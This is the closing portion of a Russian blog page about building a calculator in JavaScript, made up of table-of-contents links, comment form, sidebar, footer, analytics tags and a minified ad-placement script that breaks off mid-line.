href="#%D0%A1%D0%BA%D0%BE%D0%BB%D1%8C%D0%BA%D0%BE_%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8_%D0%B7%D0%B0%D0%B9%D0%BC%D0%B5%D1%82_%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BA%D0%B0%D0%BB%D1%8C%D0%BA%D1%83%D0%BB%D1%8F%D1%82%D0%BE%D1%80%D0%B0_%D0%BD%D0%B0_JavaScript" title="Сколько времени займет создание калькулятора на JavaScript?">Сколько времени займет создание калькулятора на JavaScript?</a></li><li class="ez-toc-page-1 ez-toc-heading-level-4"><a class="ez-toc-link ez-toc-heading-16" href="#%D0%9C%D0%BE%D0%B6%D0%BD%D0%BE_%D0%BB%D0%B8_%D1%83%D0%BB%D1%83%D1%87%D1%88%D0%B8%D1%82%D1%8C_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%B0%D0%BB%D1%8C%D0%BA%D1%83%D0%BB%D1%8F%D1%82%D0%BE%D1%80%D0%B0_%D0%BD%D0%B0_JavaScript" title="Можно ли улучшить функциональность калькулятора на JavaScript?">Можно ли улучшить функциональность калькулятора на JavaScript?</a></li><li class="ez-toc-page-1 ez-toc-heading-level-4"><a class="ez-toc-link ez-toc-heading-17" href="#%D0%9A%D0%B0%D0%BA_%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D1%82%D1%8C_%D0%BA%D0%B0%D0%BB%D1%8C%D0%BA%D1%83%D0%BB%D1%8F%D1%82%D0%BE%D1%80_%D0%BA%D0%BE%D1%82%D0%BE%D1%80%D1%8B%D0%B9_%D0%BC%D0%BE%D0%B6%D0%B5%D1%82_%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B0%D1%82%D1%8C_%D1%81_%D0%BE%D1%82%D1%80%D0%B8%D1%86%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%BC%D0%B8_%D1%87%D0%B8%D1%81%D0%BB%D0%B0%D0%BC%D0%B8" title="Как создать калькулятор, который может работать с отрицательными числами?">Как создать калькулятор, который может работать с отрицательными числами?</a></li><li class="ez-toc-page-1 ez-toc-heading-level-4"><a class="ez-toc-link ez-toc-heading-18" href="#%D0%9C%D0%BE%D0%B6%D0%BD%D0%BE_%D0%BB%D0%B8_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D1%8C_jQuery_%D0%B4%D0%BB%D1%8F_%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BA%D0%B0%D0%BB%D1%8C%D0%BA%D1%83%D0%BB%D1%8F%D1%82%D0%BE%D1%80%D0%B0_%D0%BD%D0%B0_JavaScript" title="Можно ли использовать jQuery для создания калькулятора на JavaScript?">Можно ли использовать jQuery для создания калькулятора на JavaScript?</a></li><li class="ez-toc-page-1 ez-toc-heading-level-4"><a class="ez-toc-link ez-toc-heading-19" href="#%D0%9A%D0%B0%D0%BA_%D0%B7%D0%B0%D1%81%D1%82%D0%B0%D0%B2%D0%B8%D1%82%D1%8C_%D0%BA%D0%B0%D0%BB%D1%8C%D0%BA%D1%83%D0%BB%D1%8F%D1%82%D0%BE%D1%80_%D0%BD%D0%B0_JavaScript_%D0%B2%D1%8B%D0%B2%D0%BE%D0%B4%D0%B8%D1%82%D1%8C_%D0%BE%D1%82%D0%B2%D0%B5%D1%82_%D0%BD%D0%B0_%D1%8D%D0%BA%D1%80%D0%B0%D0%BD%D0%B5_%D0%B1%D0%B5%D0%B7_%D0%BF%D0%B5%D1%80%D0%B5%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA%D0%B8_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D1%8B" title="Как заставить калькулятор на JavaScript выводить ответ на экране без перезагрузки страницы?">Как заставить калькулятор на JavaScript выводить ответ на экране без перезагрузки страницы?</a></li></ul></li></ul></li></ul></nav></div></div></article><div class="post-meta"><div class="post-share"><div class="post-share__title">Поделиться с друзьями:</div><div class="likely"><div class="twitter">Твитнуть</div><div class="facebook">Поделиться</div><div class="vkontakte">Поделиться</div><div class="telegram">Отправить</div><div class="odnoklassniki">Класснуть</div></div></div></div><meta itemprop="headline" content="Как создать калькулятор на JavaScript: пошаговая инструкция для новичков"><meta itemprop="author" content="Zdron"><meta itemprop="datePublished" content="2018-06-30"><meta itemprop="dateModified" content="2023-06-14"> <a itemprop="url" href="https://zdrons.ru/veb-programmirovanie/kak-sozdat-kalkulyator-na-javascript-poshagovaya-instrukciya-dlya-novichkov/" style="display:none">Как создать калькулятор на JavaScript: пошаговая инструкция для новичков</a> <a itemprop="mainEntityOfPage" href="https://zdrons.ru/veb-programmirovanie/kak-sozdat-kalkulyator-na-javascript-poshagovaya-instrukciya-dlya-novichkov/" style="display:none">Ссылка на основную публикацию</a><div style="display: none;" itemprop="image" itemscope itemtype="https://schema.org/ImageObject"> <img itemprop="url" src="https://zdrons.ru/wp-content/cache/thumb/01/7887d31017e5901_320x200.jpg" alt="Как создать калькулятор на JavaScript: пошаговая инструкция для новичков"><meta itemprop="width" content="320"><meta itemprop="height" content="200"></div><div style="display: none;" itemprop="publisher" itemscope itemtype="https://schema.org/Organization"><meta itemprop="name" content="ZDRONS.RU"><div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject"> <img itemprop="url" src="http://zdrons.ru/wp-content/uploads/2020/07/zdrons-logo.jpg" alt="ZDRONS.RU"></div></div></div><div class='yarpp-related'><h3>Еще статьи:</h3><ol><li><a href="https://zdrons.ru/veb-programmirovanie/vozvedenie-v-stepen-v-javascript-sintaksis-primery-i-osobennosti-operatora/" rel="bookmark" title="Возведение в степень в Javascript: синтаксис, примеры и особенности оператора">Возведение в степень в Javascript: синтаксис, примеры и особенности оператора </a></li><li><a href="https://zdrons.ru/veb-programmirovanie/sekrety-vkljucheniya-javascript-kak-zastavit-grafiki-rabotat-na-sajte-sovety-ot-ekspertov/" rel="bookmark" title="Секреты включения JavaScript: как заставить графики работать на сайте — советы от экспертов!">Секреты включения JavaScript: как заставить графики работать на сайте — советы от экспертов! </a></li><li><a href="https://zdrons.ru/veb-programmirovanie/rabota-s-massivami-obektov-v-javascript-sovety-i-primery-koda/" rel="bookmark" title="Работа с массивами объектов в JavaScript: советы и примеры кода">Работа с массивами объектов в JavaScript: советы и примеры кода </a></li><li><a href="https://zdrons.ru/veb-programmirovanie/kak-proverit-nalichie-klassa-v-javascript-rukovodstvo-dlya-nachinajushhih/" rel="bookmark" title="Как проверить наличие класса в JavaScript: руководство для начинающих">Как проверить наличие класса в JavaScript: руководство для начинающих </a></li><li><a href="https://zdrons.ru/veb-programmirovanie/kak-sozdat-formu-obratnoj-svyazi-na-javascript-shag-za-shagom/" rel="bookmark" title="Как создать форму обратной связи на JavaScript: шаг за шагом">Как создать форму обратной связи на JavaScript: шаг за шагом </a></li></ol></div><aside class="comments-block"><div id="respond" class="respond"><div class="respond__title">Добавить комментарий</div><div id="cancel-comment-reply"><a rel="nofollow" id="cancel-comment-reply-link" href="/veb-programmirovanie/kak-sozdat-kalkulyator-na-javascript-poshagovaya-instrukciya-dlya-novichkov/#respond" style="display:none;">Нажмите, чтобы отменить ответ.</a></div> <!--noindex--><form action="https://zdrons.ru/wp-comments-post.php" method="post" class="respond-form"> <input type="text" name="author" id="author" placeholder="Ваше имя:" class="respond-form__field respond-form__name" value="" aria-required='true' /> <input type="text" name="email" id="email" placeholder="Ваш e-mail:" class="respond-form__field respond-form__email" value="" aria-required='true' /> <input type="text" name="url" id="url" placeholder="Ваш сайт:" class="respond-form__field respond-form__site" value="" /><textarea name="comment" id="comment_textarea" rows="7" placeholder="Ваш комментарий:" class="respond-form__text respond-form__textarea"></textarea><input name="submit" type="submit" class="respond-form__button" value="Отправить" /> <input type='hidden' name='comment_post_ID' value='20380' id='comment_post_ID' /> <input type='hidden' name='comment_parent' id='comment_parent' value='0' /></form> <!--/noindex--></div></aside></main><aside class="sidebar sidebar_midle"><div class="widget_text section section_widget widget_custom_html"><div class="textwidget custom-html-widget"><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3967411154464684" crossorigin="anonymous"></script> <ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-3967411154464684" data-ad-slot="5926433654" data-ad-format="auto" data-full-width-responsive="true"></ins> <script>(adsbygoogle = window.adsbygoogle || []).push({});</script></div></div><div class="section-posts-box section"><div class="title">Популярные статьи</div><div class="section-posts"><div class="section-posts__item"> <img src="https://zdrons.ru/wp-content/cache/thumb/01/7887d31017e5901_300x180.jpg" width="300" height="180" class="section-posts__item-img" alt="Как опубликовать статьи с помощью Powered by php link directory?" /><div class="section-posts__item-title"> <a href="https://zdrons.ru/veb-programmirovanie/kak-opublikovat-stati-s-pomoshhju-powered-by-php-link-directory/">Как опубликовать статьи с помощью Powered by php link directory?</a></div><div class="section-posts__item-text"> Узнайте, как использовать Powered by php link directory для удобной...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div></div></div><div class="section-posts__item"> <img src="https://zdrons.ru/wp-content/cache/thumb/01/7887d31017e5901_300x180.jpg" width="300" height="180" class="section-posts__item-img" alt="A 4228 newthread php do: что это такое и как использовать?" /><div class="section-posts__item-title"> <a href="https://zdrons.ru/veb-programmirovanie/a-4228-newthread-php-do-chto-eto-takoe-i-kak-ispolzovat/">A 4228 newthread php do: что это такое и как использовать?</a></div><div class="section-posts__item-text"> A 4228 newthread php do - это функция, используемая на...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div></div></div><div class="section-posts__item"> <img src="https://zdrons.ru/wp-content/cache/thumb/01/7887d31017e5901_300x180.jpg" width="300" height="180" class="section-posts__item-img" alt="Как перевести число в троичную систему с помощью Python" /><div class="section-posts__item-title"> <a href="https://zdrons.ru/veb-programmirovanie/kak-perevesti-chislo-v-troichnuju-sistemu-s-pomoshhju-python/">Как перевести число в троичную систему с помощью Python</a></div><div class="section-posts__item-text"> Узнайте, как с помощью языка программирования Python преобразовать десятичное число...</div><div class="post-info section-posts__item-info"><div class="post-info__comment">0</div></div></div></div></div><div class="widget_text section section_widget widget_custom_html"><div class="title">Популярные Бренды на OS Android</div><div class="textwidget custom-html-widget"><ul><li><a href="https://zdrons.ru/?s=Samsung">Samsung</a></li><li><a href="https://zdrons.ru/?s=Huawei">Huawei</a></li><li><a href="https://zdrons.ru/?s=Xiaomi">Xiaomi</a></li><li><a href="https://zdrons.ru/?s=Honor">Honor</a></li><li><a href="https://zdrons.ru/?s=LG">LG</a></li><li><a href="https://zdrons.ru/?s=Meizu">Meizu</a></li><li><a href="https://zdrons.ru/?s=Lenovo">Lenovo</a></li><li><a href="https://zdrons.ru/?s=ZTE">ZTE</a></li><li><a href="https://zdrons.ru/?s=Nokia">Nokia</a></li><li><a href="https://zdrons.ru/?s=Philips">Philips</a></li><li><a href="https://zdrons.ru/?s=Prestigio">Prestigio</a></li></ul></div></div></aside></div></div><footer class="footer" id="footer"><nav class="footer-nav"><ul><li id="menu-item-13616" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-13616"><a href="https://zdrons.ru/ob-avtore/">Об авторе</a></li><li id="menu-item-9724" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-9724"><a href="https://zdrons.ru/spisok-statej-sajta/">Список статей сайта</a></li><li id="menu-item-14015" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-14015"><a href="https://zdrons.ru/polzovatelskoe-soglashenie/">Пользовательское соглашение</a></li><li id="menu-item-14016" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-14016"><a href="https://zdrons.ru/politika-konfidencialnosti/">Политика конфиденциальности</a></li></ul></nav><div class="footer-bottom"><div class="copy">© 2024 Все права защищены.</div></div></footer></div> <script type='text/javascript' id='contact-form-7-js-extra'>var wpcf7 = {"apiSettings":{"root":"https:\/\/zdrons.ru\/wp-json\/contact-form-7\/v1","namespace":"contact-form-7\/v1"}};</script> <script type='text/javascript' id='jquery-lazyloadxt-js-extra'>var a3_lazyload_params = {"apply_images":"1","apply_videos":"1"};</script> <script type='text/javascript' id='jquery-lazyloadxt-extend-js-extra'>var a3_lazyload_extend_params = {"edgeY":"0","horizontal_container_classnames":""};</script> <script type='text/javascript' id='ez-toc-js-js-extra'>var ezTOC = {"smooth_scroll":"1","visibility_hide_by_default":"","width":"auto","scroll_offset":"30"};</script> <script type="text/javascript" >(function (d, w, c) { (w[c] = w[c] || []).push(function() { try { w.yaCounter57878959 = new Ya.Metrika({ id:57878959, clickmap:true, trackLinks:true, accurateTrackBounce:true, webvisor:true, trackHash:true, ecommerce:"dataLayer" }); } catch(e) { } }); var n = d.getElementsByTagName("script")[0], s = d.createElement("script"), f = function () { n.parentNode.insertBefore(s, n); }; s.type = "text/javascript"; s.async = true; s.src = "https://mc.yandex.ru/metrika/watch.js"; if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); } })(document, window, "yandex_metrika_callbacks");</script> <noscript><div><img src="https://mc.yandex.ru/watch/57878959" style="position:absolute; left:-9999px;" alt="" /></div></noscript> <ins id="adsense" class="adsbygoogle" data-tag="flat_pm" style="position:absolute;left:-9999px;top:-9999px">Adblock<br>detector</ins><style>.flat__4_modal{position:fixed;top:50%;left:50%;height:auto;z-index:-2000;visibility:hidden;backface-visibility:hidden;transform:translateX(-50%) translateY(-50%)} .flat__4_modal-show{z-index:2000;visibility:visible} .flat__4_modal-overlay{position:fixed;width:100%;height:100%;visibility:hidden;top:0;left:0;z-index:-1000;opacity:0;background:rgba(0,0,0,.55);transition:opacity .3s ease} .flat__4_modal-show ~ .flat__4_modal-overlay{z-index:1000;opacity:1;visibility:visible} .flat__4_modal-content{background:#fff;position:relative;transform:translateY(30%);opacity:0;transition:all .3s ease;min-width:200px;min-height:100px} .flat__4_modal-show .flat__4_modal-content{transform:translateY(0);opacity:1} .flat__4_modal .flat__4_timer, .flat__4_modal .flat__4_cross{top:0!important} .flat__4_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0} .flat__4_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset} .flat__4_cross:after, .flat__4_cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto} .flat__4_cross:before{transform:rotate(-45deg)} .flat__4_cross:hover:after{transform:rotate(225deg)} .flat__4_cross:hover:before{transform:rotate(135deg)} .flat__4_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99} .flat__4_timer span{font-size:16px;font-weight:600} .flat__4_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden} .flat__4_out *{max-width:none!important} .flat__4_out.top .flat__4_cross{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_cross{bottom:-0px} .flat__4_out.bottom .flat__4_cross{top:150px} .flat__4_out.show.bottom .flat__4_cross{top:-0px} .flat__4_out.right .flat__4_cross{right:auto;left:0} .flat__4_out.top .flat__4_timer{top:auto;bottom:150px} .flat__4_out.show.top .flat__4_timer{bottom:-0px} .flat__4_out.bottom .flat__4_timer{top:150px} .flat__4_out.show.bottom .flat__4_timer{top:-0px} .flat__4_out.right .flat__4_timer{right:auto;left:0} .flat__4_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px} .flat__4_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px} .flat__4_out.left{bottom:0;right:100%;transform:translateX(0);left:auto} .flat__4_out.right{bottom:0;left:100%;transform:translateX(0);right:auto} .flat__4_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff} .flat__4_out.closed{min-width:0;min-height:0} .flat__4_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px} .flat__4_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px} .flat__4_out.show.left{transform:translateX(100%)} .flat__4_out.show.right{transform:translateX(-100%)} .flatpm_fixed{position:fixed;z-index:50} .flatpm_stop{position:relative;z-index:50} .flat__4_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0} .flat__4_video iframe{display:block;width:100%;height:100%;position:absolute} .flat__4_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease} .flat__4_video_flex.show{opacity:1} .flat__4_video_item{position:relative;max-height:calc(100% - 68px);max-width:calc(100% - 68px);z-index:-1} .flat__4_video_flex.show .flat__4_video_item{z-index:1} .flat__4_video_flex .flat__4_timer, .flat__4_video_flex .flat__4_cross{top:10px!important;right:10px!important} .flat__4_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2}</style> <script>var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";document['wr'+'ite']=function(e){var t=document.createElement("div");ff(document.currentScript).after(t),flatPM_setHTML(t,e),ff(t).contents().unwrap()},window.flatPM_sticky=function(e,d,t){var a=e,l=null,f=t=t||0;function n(){if(null==l){for(var e=getComputedStyle(a,""),t="",n=0;n<e.length;n++)0!=e[n].indexOf("overflow")&&0!=e[n].indexOf("padding")&&0!=e[n].indexOf("border")&&0!=e[n].indexOf("outline")&&0!=e[n].indexOf("box-shadow")&&0!=e[n].indexOf("background")||(t+=e[n]+": "+e.getPropertyValue(e[n])+"; ");(l=document.createElement("div")).style.cssText=t+" box-sizing: border-box; width: "+a.offsetWidth+"px;",a.insertBefore(l,a.firstChild);for(var o=a.childNodes.length,n=1;n<o;n++)l.appendChild(a.childNodes[1]);a.style.padding="0",a.style.border="0"}a.style.height=l.getBoundingClientRect().height+"px";var i=a.getBoundingClientRect(),r=Math.round(i.top+l.getBoundingClientRect().height-d.getBoundingClientRect().bottom);i.top-f<=0?i.top-f<=r?(l.className="flatpm_stop",l.style.top=-r+"px"):(l.className="flatpm_fixed",l.style.top=f+"px"):(l.className="",l.style.top=""),window.addEventListener("resize",function(){a.children[0].style.width=getComputedStyle(a,"").width},!1)}window.addEventListener("scroll",n,!1),document.body.addEventListener("scroll",n,!1)},window.flatPM_addDays=function(e,t){var n=60*e.getTimezoneOffset()*1e3,o=e.getTime(),e=new Date;return o+=864e5*t,e.setTime(o),n!=(t=60*e.getTimezoneOffset()*1e3)&&(o+=t-n,e.setTime(o)),e},window.flatPM_adbDetect=function(){var e=document.querySelector('#ads'+'ense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!e)return!0;e=e.currentStyle||window.getComputedStyle(e,null),e=parseInt(e.height);return!(!isNaN(e)&&0!=e)},window.flatPM_setCookie=function(e,t,n){var o,i=(n=n||{path:"/"}).expires;"number"==typeof i&&i&&((o=new Date).setTime(o.getTime()+1e3*i),i=n.expires=o),i&&i.toUTCString&&(n.expires=i.toUTCString());var r,d=e+"="+(t=encodeURIComponent(t));for(r in n){d+="; "+r;var a=n[r];!0!==a&&(d+="="+a)}document.cookie=d},window.flatPM_getCookie=function(n){var e=document.cookie.split("; ").reduce(function(e,t){t=t.split("=");return t[0]===n?decodeURIComponent(t[1]):e},"");return""!=e?e:void 0},window.flatPM_testCookie=function(){var e="test_56445";try{return localStorage.setItem(e,e),localStorage.removeItem(e),!0}catch(e){return!1}},window.flatPM_grep=function(e,n,o){return ff.grep(e,function(e,t){return o?t==n:(t+1)%n==0})},window.flatPM_randomString=function(e){for(var t="",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",o=n.length,i=0;i<e;i++)t+=n.charAt(Math.floor(Math.random()*o));return t},window.flatPM_random=function(e,t){return Math.floor(Math.random()*(t-e+1))+e},window.flatPM_getAllUrlParams=function(e){var e=e?e.split("?")[1]:window.location.search.slice(1),t={};if(e)for(var n=(e=e.split("#")[0]).split("&"),o=0;o<n.length;o++){var i,r=n[o].split("="),d=r[0],a=void 0===r[1]||r[1],d=d.toLowerCase();"string"==typeof a&&(a=a.toLowerCase()),d.match(/\[(\d+)?\]$/)?(t[i=d.replace(/\[(\d+)?\]/,"")]||(t[i]=[]),d.match(/\[\d+\]$/)?(r=/\[(\d+)\]/.exec(d)[1],t[i][r]=a):t[i].push(a)):t[d]?(t[d]&&"string"==typeof t[d]&&(t[d]=[t[d]]),t[d].push(a)):t[d]=a}return t};var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_adbDetect=!1,flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,a=0;a<e;a++){var o=t[a].str;if(o&&t[a].subStr.test(o))return t[a].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex"),window.flatPM_ajax=function(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})},window.flatPM_then=function(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){var a=flat_pm_then[e];flatPM_next(a)}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]},window.flatPM_persentWrapper=function(t,a,e){var o=0,r=!1;return t.each(function(){var t=ff(this),e=t.text().replace(/(\s)+/g,"");if(o+=e.length,a<=o)return r=t,!1}),r},window.flatPM_setWrap=function(t){try{var e,a,o,r,i,l,f,s,n,d=document.createElement("div");d.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(d),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(d),"3"==t.how.simple.position&&ff(".flat_pm_end").before(d),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(d),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,d))||e.next().is("[data-flat-id]")||e.after(d)),"6"==t.how.simple.position&&(d.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,d),(a=!1)!==e&&(o=e.prevAll('[data-flat-type="6"]:first'),r=e.nextAll('[data-flat-type="6"]:first'),0!=o.length&&e.prevUntil(o).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),0!=r.length&&e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),a||e.after(d)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,l=t.how.onсe.N,f=t.how.onсe.selector,s=t.how.onсe.direction,n=t.how.onсe.before_after,0<(i=i.find(f).add(i.filter(f))).length&&(l="bottom_to_top"==s?i.length-l:l-1,"after"==n&&ff(flatPM_grep(i,l,1)).after(d),"before"==n&&ff(flatPM_grep(i,l,1)).before(d),"append"==n&&ff(flatPM_grep(i,l,1)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,1)).prepend(d))),void 0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,l=t.how.iterable.N,f=t.how.iterable.selector,s=t.how.iterable.direction,n=t.how.iterable.before_after,0<(i=i.find(f).add(i.filter(f))).length&&("bottom_to_top"==s&&(i=i.get().reverse()),"after"==n&&ff(flatPM_grep(i,l,0)).after(d),"before"==n&&ff(flatPM_grep(i,l,0)).before(d),"append"==n&&ff(flatPM_grep(i,l,0)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,0)).prepend(d)))}catch(t){console.warn(t)}},window.flatPM_next=function(o){try{var t=[],e="",a=o.html.length;if(void 0!==o.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.role&&(void 0!==o.role.role_enabled&&-1==o.role.role_enabled.indexOf(flat_userVars.role)||void 0!==o.role.role_disabled&&-1!=o.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.geo&&(void 0!==o.geo.country_enabled&&-1==o.geo.country_enabled.indexOf(flat_userVars.country)&&-1==o.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==o.geo.country_disabled&&(-1!=o.geo.country_disabled.indexOf(flat_userVars.country)||-1!=o.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==o.geo.city_enabled&&-1==o.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==o.geo.city_disabled&&-1!=o.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+o.ID+'"]').remove();for(var r,i,l,f,s=0;s<a;s++)("∞"==o.html[s].res_of||o.html[s].res_of<=flat_userVars.winwidth)&&("∞"==o.html[s].res_to||o.html[s].res_to>flat_userVars.winwidth)&&(void 0!==o.html[s].group?flat_userVars.adb?(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd)):(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(o.html[s].fst)):flat_userVars.adb?t.push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd):t.push(o.html[s].fst));for(r in t)e="object"==typeof 